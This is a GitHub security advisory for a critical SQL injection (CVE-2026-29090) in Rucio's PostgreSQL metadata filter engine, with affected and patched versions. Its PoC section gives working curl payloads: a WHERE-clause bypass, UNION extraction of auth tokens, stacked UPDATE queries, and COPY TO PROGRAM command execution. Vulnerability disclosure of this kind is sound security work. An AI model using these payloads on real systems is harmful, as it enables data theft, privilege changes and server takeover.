Skip to content

Rucio has SQL Injection in FilterEngine PostgreSQL Query Builder via DID Search API

Critical severity GitHub Reviewed Published May 6, 2026 in rucio/rucio • Updated Jun 30, 2026

Package

pip rucio (pip)

Affected versions

>= 1.30.0, < 35.8.5
>= 36.0.0, < 38.5.5
>= 39.0.0, < 39.4.2
>= 40.0.0, < 40.1.1

Patched versions

35.8.5
38.5.5
39.4.2
40.1.1

Description

Summary

A SQL injection vulnerability in FilterEngine.create_postgres_query allows any authenticated Rucio user to execute arbitrary SQL against the configured PostgreSQL metadata database through the DID search endpoint (GET /dids/<scope>/dids/search). When the external metadata plugin postgres_meta is configured, attacker-controlled filter keys and values are interpolated directly into raw SQL statements via Python str.format. This enables full database compromise including data exfiltration, data modification, and potential remote code execution via COPY ... FROM PROGRAM.


Details

The vulnerability exists in lib/rucio/core/did_meta_plugins/filter_engine.py within the create_postgres_query() method (lines 408-484). This method builds raw SQL strings via Python .format() across 6 distinct injection points:

filter_engine.py:477 (string equality — default branch):

expression = "{}->>'{}'  {} '{}'".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)

filter_engine.py:442 (wildcard/LIKE branch):

expression = "{}->>'{}'  LIKE '{}' ".format(jsonb_column, key, value.replace('*', '%'))

filter_engine.py:456 (boolean branch — value unquoted):

expression = "({}->>'{}'  )::boolean {} {}".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)

filter_engine.py:462 (numeric branch — value unquoted):

expression = "({}->>'{}'  )::float {} {}".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)

filter_engine.py:472 (datetime branch):

expression = "({}->>'{}'  )::timestamp {} '{}'".format(jsonb_column, key, POSTGRES_OP_MAP[oper], value)

filter_engine.py:479 (non-JSONB column fallback):

expression = "{} {} '{}'".format(key, POSTGRES_OP_MAP[oper], value)

Both key and value are attacker-controlled strings derived from HTTP query parameters. The resulting expression string is concatenated into a larger query string (postgres_query_str) that is then passed to psycopg3's sql.SQL():

# postgres_meta.py:314-316
statement = sql.SQL("SELECT * FROM {} WHERE {} {}").format(
    sql.Identifier(self.table),
    sql.SQL(postgres_query_str),   # <-- UNSANITIZED user-derived string
    sql.SQL("LIMIT {}").format(sql.Literal(limit)) if limit else sql.SQL("")
)

sql.SQL() wraps the string as a trusted SQL syntax fragment — it does not escape or parameterize its contents. The statement is then executed via cur.execute(statement) at postgres_meta.py:321.

Why no existing defense blocks this

The data flow from HTTP request to SQL execution passes through multiple layers with no effective sanitization:

  1. HTTP input (dids.py:265-274): Filter keys and values are accepted from query parameters via ast.literal_eval() or directly from individual query argument names/values. The fallback path only excludes 4 reserved keys (type, limit, long, recursive).

  2. Plugin routing (did_meta_plugins/__init__.py:227-248): Each filter key is checked via manages_key(). postgres_meta.manages_key() unconditionally returns True (line 345) — it accepts ANY filter key without validation.

  3. FilterEngine initialization: The postgres_meta plugin instantiates FilterEngine with strict_coerce=False. Unknown keys pass through _coerce_filter_word_to_model_attribute() as raw strings.

  4. Value typecasting (filter_engine.py:275-297): _try_typecast_string() attempts to parse the value as a boolean, datetime, or number. SQL injection strings fail all these parsers and are returned unchanged.

  5. Sanity checks (filter_engine.py:149-190): _sanity_check_translated_filters() does not validate arbitrary key names or values for SQL-unsafe characters.

  6. SQL construction (filter_engine.py:442-479): The unsanitized key and value strings are interpolated directly into raw SQL strings via .format().

  7. SQL execution (postgres_meta.py:316,321): The raw string is wrapped in sql.SQL() (treated as trusted SQL) and executed via cur.execute().


PoC

Prerequisites:

  • A Rucio instance using PostgreSQL as the database backend
  • The postgres_meta metadata plugin explicitly configured (this is NOT the default — the default is json_meta)
  • Any valid Rucio authentication token (obtainable via userpass, x509, OIDC, SAML, SSH, or GSS)

1. Obtain an authentication token

TOKEN=$(curl -s -k \
  -H 'X-Rucio-Account: testuser' \
  -H 'X-Rucio-Username: testuser' \
  -H 'X-Rucio-Password: testpass' \
  'https://rucio.example.org/auth/userpass' \
  -D - 2>/dev/null | grep -i 'x-rucio-auth-token' | awk '{print $2}' | tr -d '\r')

2. Value injection — boolean-based filter bypass

# postgres_meta uses create_postgres_query() -> raw string formatting
# filter_engine.py:477: "{}->>'{}'  {} '{}'".format(jsonb_column, key, op, value)

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20OR%20'1'%3D'1"

# URL-decoded: custom_key=x' OR '1'='1
#
# Generated SQL fragment:
#   data->>'custom_key' = 'x' OR '1'='1'
#
# Effect: WHERE clause always true, returns all rows

3. Key injection via query parameter name

# The key is single-quoted but unescaped — injection via closing quote.
# filter_engine.py:477: "{}->>'{}'  {} '{}'".format(jsonb_column, key, op, value)

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?x'%20OR%201%3D1--%20=anything"

# URL-decoded: key = x' OR 1=1--  , value = anything
#
# Generated SQL fragment:
#   data->>'x' OR 1=1-- ' = 'anything'
#              ^^^^^^^^ injected, -- comments out the rest

4. UNION-based data extraction

# Extract auth tokens from the tokens table.

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20UNION%20SELECT%20token%2Caccount%2CNULL%2CNULL%20FROM%20tokens%20--"

# URL-decoded: custom_key=x' UNION SELECT token,account,NULL,NULL FROM tokens --
#
# Effect: Appends tokens table contents to the result set

5. Stacked queries — data modification

# PostgreSQL supports multiple statements separated by ;

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x';%20UPDATE%20accounts%20SET%20account_type%3D'SERVICE'%20WHERE%20account%3D'testuser';%20--"

# URL-decoded: custom_key=x'; UPDATE accounts SET account_type='SERVICE' WHERE account='testuser'; --

6. Remote code execution (if database user has superuser privileges)

# PostgreSQL COPY ... FROM PROGRAM executes OS commands

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x';%20COPY%20(SELECT%20'')%20TO%20PROGRAM%20'id%20>%20/tmp/pwned';%20--"

# URL-decoded: custom_key=x'; COPY (SELECT '') TO PROGRAM 'id > /tmp/pwned'; --
# Requires: database user with pg_execute_server_program or superuser role

7. Alternative entry via filters query parameter

# The filters parameter accepts Python literal syntax via ast.literal_eval().

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  'https://rucio.example.org/dids/user.testuser/dids/search?filters=%5B%7B%22custom_key%22%3A%20%22x%27%20OR%20%271%27%3D%271%22%7D%5D'

# URL-decoded: filters=[{"custom_key": "x' OR '1'='1"}]

Impact

Vulnerability type: SQL Injection (CWE-89)

CVSS v3.1: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

Who is impacted:

  • Rucio deployments that have explicitly configured the postgres_meta metadata plugin.

What an attacker can do:

  • Data modification: PostgreSQL stacked queries enable arbitrary INSERT/UPDATE/DELETE operations.
  • Remote code execution: Via PostgreSQL's COPY ... FROM PROGRAM if the database user has superuser or pg_execute_server_program privileges.
  • File system access: Via COPY ... TO/FROM '/path' if filesystem permissions allow.

Further elevation when the same postgres database and access is used for metadata and for Rucio itself

  • Full database read access: Extract any table including identities (password hashes and salts), tokens (active authentication sessions), accounts (user enumeration), rse_settings (storage endpoint credentials), and rules (data management policies) could be extracted.
  • Password hash extraction: Combined with Rucio's use of single-iteration SHA-256 for password hashing (no KDF), extracted hashes can be cracked at GPU speed.
  • Authentication token theft: Active bearer tokens can be extracted and used for immediate session hijacking.

Required attacker privileges: Any authenticated Rucio user. Authentication tokens can be obtained via any supported method (userpass, x509, OIDC, SAML, SSH, GSS). No special roles or administrative permissions are required. The GET /dids/<scope>/dids/search endpoint is available to all authenticated users.

References

@bziemons bziemons published to rucio/rucio May 6, 2026
Published to the GitHub Advisory Database May 6, 2026
Reviewed May 6, 2026
Published by the National Vulnerability Database May 6, 2026
Last updated Jun 30, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(22nd percentile)

Weaknesses

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. Learn more on MITRE.

CVE ID

CVE-2026-29090

GHSA ID

GHSA-6j7p-qjhg-9947

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.